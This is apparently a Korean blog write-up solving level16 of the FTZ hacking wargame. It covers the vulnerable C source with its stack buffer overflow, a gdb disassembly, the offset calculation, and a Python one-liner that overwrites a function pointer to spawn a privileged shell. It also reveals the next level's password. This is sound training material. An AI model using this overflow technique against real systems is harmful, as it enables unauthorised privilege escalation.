Jaeseo's Information Security Story

FTZ - level16 - WriteUp 본문

Write UP/FTZ

FTZ - level16 - WriteUp

Jaeseokim 2019. 11. 26. 14:22

FTZ - level16 - WriteUp

level16:about to cause mass

일단 hint를 봅니다.

[level16@ftz level16]$ cat hint


#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

소스를 보면 call에 printit의 주소를 가져온다음 입력을 받고 call를 부르는 것을 볼 수 있는데 이때 printit의 주소를 shell의 주소로 덮어 쓰면 되는 문제 같다.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500 //call에 printit의 주소를 lea
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56] //입력을 받음 56와 16이니 40만큼 버퍼를 채우면 된다.
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret
0x08048543 <main+43>:   nop
0x08048544 <main+44>:   nop
0x08048545 <main+45>:   nop
0x08048546 <main+46>:   nop
0x08048547 <main+47>:   nop
0x08048548 <main+48>:   nop
0x08048549 <main+49>:   nop
0x0804854a <main+50>:   nop
0x0804854b <main+51>:   nop
0x0804854c <main+52>:   nop
0x0804854d <main+53>:   nop
0x0804854e <main+54>:   nop
0x0804854f <main+55>:   nop
End of assembler dump.
(gdb) x/x shell
0x80484d0 <shell>:      0x83e58955

이제 shell의 주소값도 구하였으니 exploit를 한다.

[level16@ftz level16]$ (python -c 'print "\x90"*40+"\xd0\x84\04\x08"';cat) | ./attackme
whoami
level17
my-pass

Level17 Password is "king poetic".


level17:king poetic

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level18 - WriteUp  (0) 2019.11.26
FTZ - level17 - WriteUp  (0) 2019.11.26
FTZ - level15 - WriteUp  (0) 2019.11.26
FTZ - level14 - WriteUp  (0) 2019.11.25
FTZ - level13 - WriteUp  (2) 2019.11.19
Comments